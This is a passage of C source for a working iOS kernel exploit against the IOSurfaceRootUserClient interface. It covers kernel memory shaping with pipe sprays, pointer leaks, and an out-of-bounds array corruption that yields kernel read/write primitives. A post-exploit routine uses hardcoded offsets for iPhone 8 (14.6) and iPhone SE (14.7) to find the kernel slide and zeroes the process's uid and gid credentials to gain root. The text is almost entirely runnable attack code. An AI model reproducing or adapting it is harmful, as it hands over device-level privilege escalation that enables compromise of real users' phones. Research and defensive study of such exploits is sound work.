         *   [IOSurfaceClient array][pipe buffer]<repeats>[anchor alloc]
         * and
         *   [pipe buffer][IOSurfaceClient array]<repeats>[anchor alloc]
         */

        uint64_t guessed_IOSurfaceClientp = current_client_array_guess +
            (sizeof(void *) * target_surface);

        if(!increment32_n(guessed_IOSurfaceClientp, 0x70)){
            printf("%s: failed to increment guessed IOSurfaceClient"
                    " pointer at %#llx\n", __func__,
                    guessed_IOSurfaceClientp);
            return false;
        }

        /* Don't start doing this until we're more than a fourth of
         * the way through the loop since we may hit an unmapped page
         * before then */
        if(i > (iosruc_hole_fillers->len / 4)){
            if(!increment32_n(guessed_IOSurfaceClientp - 0x10000, 0x70)){
                printf("%s: failed to increment guessed IOSurfaceClient"
                        " pointer at %#llx\n", __func__,
                        guessed_IOSurfaceClientp);
                return false;
            }
        }
    }

    /* Leak the pointers we need */
    uint64_t bulk_in = (uint64_t)target_surface;

    uint8_t bulk_out[0x80];
    memset(bulk_out, 0, sizeof(bulk_out));
    size_t bulk_out_sz = sizeof(bulk_out);

    kern_return_t kret = IOConnectCallMethod(mid->iosruc, 28, &bulk_in, 1,
            NULL, 0, NULL, 0, bulk_out, &bulk_out_sz);

    if(kret){
        printf("%s: s_get_bulk_attachments failed: %s\n", __func__,
                mach_error_string(kret));
        return false;
    }

    uint64_t iosr_kaddr = *(uint64_t *)(bulk_out + 0x1c);
    uint64_t iosruc_kaddr = *(uint64_t *)(bulk_out + 0x3c) - 0xf8;
    uint64_t iosc_array_kaddr = *(uint64_t *)(bulk_out + 0x54);
    uint32_t iosc_array_capacity = *(uint32_t *)(bulk_out + 0x5c);

    *iosr_kaddrp = iosr_kaddr;
    *iosruc_kaddrp = iosruc_kaddr;
    *iosc_array_kaddrp = iosc_array_kaddr;
    *iosc_array_capacityp = iosc_array_capacity;

    return true;
}

static bool exploit_stage3(struct array *iosruc_hole_fillers,
        struct array *pipe_hole_fillers, uint64_t anchor_alloc_kaddr,
        uint64_t iosruc_kaddr, uint64_t iosc_array_kaddr,
        uint32_t iosc_array_capacity,
        struct pipe_hole_filler **krw_pipe_hole_fillerp,
        io_connect_t *krw_iosrucp, int *krw_surface_idp){
    /* Create an artifical OOB IOSurfaceClient read with our 32-bit
     * increment. But first we have to fix the IOSurfaceClient pointer
     * in each pipe buffer now that we have a pointer to one of the
     * IOSurfaceClient arrays we sprayed earlier */
    for(int i=0; i<pipe_hole_fillers->len; i++){
        struct pipe_hole_filler *phf = pipe_hole_fillers->items[i];
        uint8_t contents[0x10000];

        if(read(phf->rfd, contents, sizeof(contents)) == -1){
            printf("%s: failed to read pipe %d: %s\n", __func__, i,
                    strerror(errno));
            return false;
        }

        /* This is very likely to point to pipe buffer we control */
        *(uint64_t *)contents = iosc_array_kaddr + 0x10000 + sizeof(uint64_t);

        uint8_t *fake_IOSurfaceClient = contents + sizeof(uint64_t);

        *(uint64_t *)(fake_IOSurfaceClient + 0x40) =
            iosc_array_kaddr + 0x10000 + sizeof(uint64_t) + 0xa0;

        uint8_t *fake_IOSurface = fake_IOSurfaceClient + 0xa0;

        *(uint64_t *)(fake_IOSurface + 0xc0) =
            (iosc_array_kaddr + 0x10000 + sizeof(uint64_t) + 0xa0 + 0x400) - 0x14;

        /* Use the use count to encode the index into the pipe hole fillers
         * so we know which one controls this IOSurface */
        *(uint32_t *)(fake_IOSurface + 0x400) = (0x4141 << 16) | i;

        if(write(phf->wfd, contents, sizeof(contents)) == -1){
            printf("%s: failed to write pipe %d: %s\n", __func__, i,
                    strerror(errno));
            return false;
        }
    }

    uint32_t times = 8193 - iosc_array_capacity;

    if(!increment32_n(iosruc_kaddr + 0x120, times)){
        printf("%s: failed to increase array capacity\n", __func__);
        return false;
    }

    /* Figure out which IOSurfaceRootUserClient corresponds to the
     * IOSurfaceClient array that we can now OOB read from */
    struct pipe_hole_filler *krw_pipe_hole_filler = NULL;
    io_connect_t krw_iosruc = IO_OBJECT_NULL;

    for(int i=0; i<iosruc_hole_fillers->len; i++){
        struct iosruc_hole_filler *ihf = iosruc_hole_fillers->items[i];
        io_connect_t iosruc = ihf->iosruc;

        uint64_t in = 8192;
        uint64_t val = 0;
        uint32_t outcnt = 1;

        kern_return_t kret = IOConnectCallScalarMethod(iosruc, 16, &in, 1,
                &val, &outcnt);

        if(kret)
            continue;

        if(((uint32_t)val >> 16) == 0x4141){
            krw_pipe_hole_filler = pipe_hole_fillers->items[val & 0xff];
            krw_iosruc = iosruc;
            /* printf("%s: found corrupted IOSurfaceRootUserClient handle %#x\n", */
            /*         __func__, krw_iosruc); */
            break;
        }
    }

    if(!krw_iosruc){
        printf("%s: failed, did not find corrupted iosruc\n", __func__);
        return false;
    }

    *krw_pipe_hole_fillerp = krw_pipe_hole_filler;
    *krw_iosrucp = krw_iosruc;
    *krw_surface_idp = 8192;

    return true;
}

/* Kernel read/write constants */
static io_connect_t g_krw_iosruc = IO_OBJECT_NULL;
static int g_krw_surface_pipe_read = 0, g_krw_surface_pipe_write = 0;
static uint32_t g_krw_surface_id = 0;

static bool init_krw(io_connect_t krw_iosruc,
        int krw_surface_pipe_read, int krw_surface_pipe_write,
        uint32_t krw_surface_id){
    g_krw_iosruc = krw_iosruc;
    g_krw_surface_pipe_read = krw_surface_pipe_read;
    g_krw_surface_pipe_write = krw_surface_pipe_write;
    g_krw_surface_id = krw_surface_id;

    return true;
}

static bool kread32(uint64_t kaddr, uint32_t *out){
    if(!g_krw_iosruc){
        printf("%s: init_krw not called yet\n", __func__);
        return false;
    }

    uint8_t contents[0x10000];

    if(read(g_krw_surface_pipe_read, contents, sizeof(contents)) == -1){
        printf("%s: read fail: %s\n", __func__, strerror(errno));
        return false;
    }

    *(uint64_t *)(contents + 0x8 + 0xa0 + 0xc0) = kaddr - 0x14;

    if(write(g_krw_surface_pipe_write, contents, sizeof(contents)) == -1){
        printf("%s: write fail: %s\n", __func__, strerror(errno));
        return false;
    }

    uint64_t in = g_krw_surface_id;
    uint64_t val = 0;
    uint32_t outcnt = 1;

    kern_return_t kret = IOConnectCallScalarMethod(g_krw_iosruc, 16, &in, 1,
            &val, &outcnt);

    if(kret){
        printf("%s: failed reading from %#llx: %s\n", __func__,
                kaddr, mach_error_string(kret));
        return false;
    }

    *out = (uint32_t)val;

    return true;
}

static bool kread64(uint64_t kaddr, uint64_t *out){
    uint32_t low, high;

    if(!kread32(kaddr, &low))
        return false;

    if(!kread32(kaddr + sizeof(uint32_t), &high))
        return false;

    *out = ((uint64_t)high << 32) | low;

    return true;
}

static bool kwrite32(uint64_t kaddr, uint32_t val){
    if(!g_krw_iosruc){
        printf("%s: init_krw not called yet\n", __func__);
        return false;
    }

    uint8_t contents[0x10000];

    if(read(g_krw_surface_pipe_read, contents, sizeof(contents)) == -1){
        printf("%s: read fail: %s\n", __func__, strerror(errno));
        return false;
    }

    *(uint32_t *)(contents + 0x8 + 0xa0 + 0xb0) = 1;
    *(uint64_t *)(contents + 0x8 + 0xa0 + 0xc0) = kaddr - 0x98;

    if(write(g_krw_surface_pipe_write, contents, sizeof(contents)) == -1){
        printf("%s: write fail: %s\n", __func__, strerror(errno));
        return false;
    }

    uint64_t ins[] = { g_krw_surface_id, 0, val };

    kern_return_t kret = IOConnectCallScalarMethod(g_krw_iosruc, 31,
            ins, 3, NULL, NULL);

    if(kret){
        printf("%s: failed writing to %#llx: %s\n", __func__, kaddr,
                mach_error_string(kret));
        return false;
    }

    return true;
}

static bool kwrite64(uint64_t kaddr, uint64_t val){
    uint32_t low = (uint32_t)val;
    uint32_t high = (uint32_t)(val >> 32);

    if(!kwrite32(kaddr, low))
        return false;

    if(!kwrite32(kaddr + sizeof(uint32_t), high))
        return false;

    return true;
}

static bool post_exploit(uint64_t krw_iosruc_kaddr){
    uint64_t slid_iosruc_vtab;

    if(!kread64(krw_iosruc_kaddr, &slid_iosruc_vtab)){
        printf("%s: failed reading iosruc vtable\n", __func__);
        return false;
    }

    printf("%s: iosruc vtab is %#llx\n", __func__, slid_iosruc_vtab);

    slid_iosruc_vtab |= 0xffffff8000000000;

    /* XXX Don't have time to detect this automatically, manually set */
    bool is_new_style_kernel = true;

    uint64_t kslide, kernel_taskp;

    if(is_new_style_kernel){
        /* iPhone 8, 14.6 */
        kslide = slid_iosruc_vtab - 0xfffffff00789a388;
        kernel_taskp = 0xfffffff007729030 + kslide;
    }
    else{
        /* iPhone SE (2016), 14.7 */
        kslide = slid_iosruc_vtab - 0xfffffff006e2fb10;

        uint64_t kernel_taskpp = slid_iosruc_vtab - 0x1980;

        if(!kread64(kernel_taskpp, &kernel_taskp)){
            printf("%s: old: failed reading kernel_task pointer\n", __func__);
            return false;
        }
    }

    printf("%s: kernel slide is %#llx\n", __func__, kslide);

    uint64_t kernel_task;

    if(!kread64(kernel_taskp, &kernel_task)){
        printf("%s: failed reading kernel_task\n", __func__);
        return false;
    }

    kernel_task |= 0xffffff8000000000;

    printf("%s: kernel task struct is at %#llx\n", __func__, kernel_task);

    uint64_t kernel_proc;

    if(!kread64(kernel_task + 0x398, &kernel_proc)){
        printf("%s: failed reading kernel proc pointer\n", __func__);
        return false;
    }

    kernel_proc |= 0xffffff8000000000;

    printf("%s: kernel proc struct is at %#llx\n", __func__, kernel_proc);

    uint64_t curproc;

    if(!kread64(kernel_proc + 0x8, &curproc)){
        printf("%s: failed reading kernproc->le_prev\n", __func__);
        return false;
    }

    curproc |= 0xffffff8000000000;

    uint64_t myproc;

    pid_t pid, mypid = getpid();

    do {
        if(!kread32(curproc + 0x68, (uint32_t *)&pid)){
            printf("%s: fail reading pid for proc struct %#llx\n",
                    __func__, curproc);
            return false;
        }

        myproc = curproc;

        if(!kread64(curproc + 0x8, &curproc)){
            printf("%s: failed reading next proc\n", __func__);
            return false;
        }

        curproc |= 0xffffff8000000000;
    } while (pid != mypid);

    printf("%s: my proc struct is at %#llx\n", __func__, myproc);

    uint64_t mytask;

    if(!kread64(myproc + 0x10, &mytask)){
        printf("%s: could not read my task struct\n", __func__);
        return false;
    }

    mytask |= 0xffffff8000000000;

    printf("%s: my task struct is at %#llx\n", __func__, mytask);

    uint64_t mycreds;

    if(!kread64(myproc + 0xf0, &mycreds)){
        printf("%s: could not read my creds struct\n", __func__);
        return false;
    }

    mycreds |= 0xffffff8000000000;

    printf("%s: my creds are at %#llx\n", __func__, mycreds);

    uid_t uid = getuid();
    gid_t gid = getgid();

    printf("%s: before: uid = %d, gid = %d\n", __func__, uid, gid);

    if(!kwrite32(mycreds + 0x18, 0)){
        printf("%s: failed zeroing uid\n", __func__);
        return false;
    }

    if(!kwrite32(mycreds + 0x1c, 0)){
        printf("%s: failed zeroing ruid\n", __func__);
        return false;
    }

    if(!kwrite32(mycreds + 0x20, 0)){
        printf("%s: failed zeroing svuid\n", __func__);
        return false;
    }

    if(!kwrite32(mycreds + 0x68, 0)){
        printf("%s: failed zeroing rgid\n", __func__);
        return false;
    }

    if(!kwrite32(mycreds + 0x6c, 0)){
        printf("%s: failed zeroing svgid\n", __func__);
        return false;
    }

    uid = getuid();
    gid = getgid();

    printf("%s: after: uid = %d, gid = %d\n", __func__, uid, gid);

    return true;
}

static void exploit(void){
    uint64_t anchor_alloc_kaddr;
    struct array *iosruc_hole_fillers;
    struct array *pipe_hole_fillers;

    if(!exploit_stage1(&iosruc_hole_fillers, &pipe_hole_fillers,
                &anchor_alloc_kaddr)){
#ifdef SAMPLING_MEMORY
        printf("%s: failed to sample kernel_map\n", __func__);
#else
        printf("%s: failed to shape kva space\n", __func__);
#endif
        return;
    }

#ifdef SAMPLING_MEMORY
    return;
#endif

    printf("%s: Shaped KVA space\n", __func__);

    uint64_t iosr_kaddr, iosruc_kaddr, iosc_array_kaddr;
    uint32_t iosc_array_capacity;

    if(!exploit_stage2(iosruc_hole_fillers, &iosr_kaddr,
                &iosruc_kaddr, &iosc_array_kaddr,
                &iosc_array_capacity)){
        printf("%s: stage2 failed, we will panic\n", __func__);
        return;
    }

    printf("%s: stage2 success\n", __func__);

    /* printf("%s: stage2 success\n" */
    /*        "\tIOSurfaceRoot pointer:                %#llx\n" */
    /*        "\tIOSurfaceRootUserClient:              %#llx\n" */
    /*        "\t\tIOSurfaceClient array:              %#llx\n" */
    /*        "\t\tIOSurfaceClient array capacity:     %d\n", */
    /*        __func__, iosr_kaddr, iosruc_kaddr, iosc_array_kaddr, */
    /*        iosc_array_capacity); */

    struct pipe_hole_filler *krw_pipe_hole_filler;
    io_connect_t krw_iosruc;
    int krw_surface_id;

    if(!exploit_stage3(iosruc_hole_fillers, pipe_hole_fillers,
                anchor_alloc_kaddr, iosruc_kaddr, iosc_array_kaddr,
                iosc_array_capacity, &krw_pipe_hole_filler,
                &krw_iosruc, &krw_surface_id)){
        printf("%s: stage3 failed, we will panic\n", __func__);
        return;
    }

    printf("%s: stage3 success\n", __func__);

    if(!init_krw(krw_iosruc, krw_pipe_hole_filler->rfd,
                krw_pipe_hole_filler->wfd, krw_surface_id)){
        printf("%s: could not init kernel read/write prims\n", __func__);
        return;
    }

    printf("%s: kernel read/write prims set up\n"
           "   read kernel memory with kread32/64\n"
           "   write kernel memory with kwrite32/64\n", __func__);

    if(!post_exploit(iosruc_kaddr)){
        printf("%s: post exploit failed, we will panic\n", __func__);
        return;
    }
}

static int increase_file_limit(void){
    struct rlimit rl = {0};

    int err = getrlimit(RLIMIT_NOFILE, &rl);

    if(err){
        printf("%s: getrlimit: %s\n", __func__, strerror(errno));
        return err;
    }

    rl.rlim_cur = OPEN_MAX;
    rl.rlim_max = OPEN_MAX;

    err = setrlimit(RLIMIT_NOFILE, &rl);

    if(err){
        printf("%s: setrlimit: %s\n", __func__, strerror(errno));
        return err;
    }

    return 0;
}

int main(int argc, char **argv){
    if(increase_file_limit()){
        printf("Failed to increase file limits\n");
        return 1;
    }

    struct utsname u;
    uname(&u);

    printf("%s %s %s\n", u.release, u.version, u.machine);

    exploit();

    for(;;);
    return 0;
}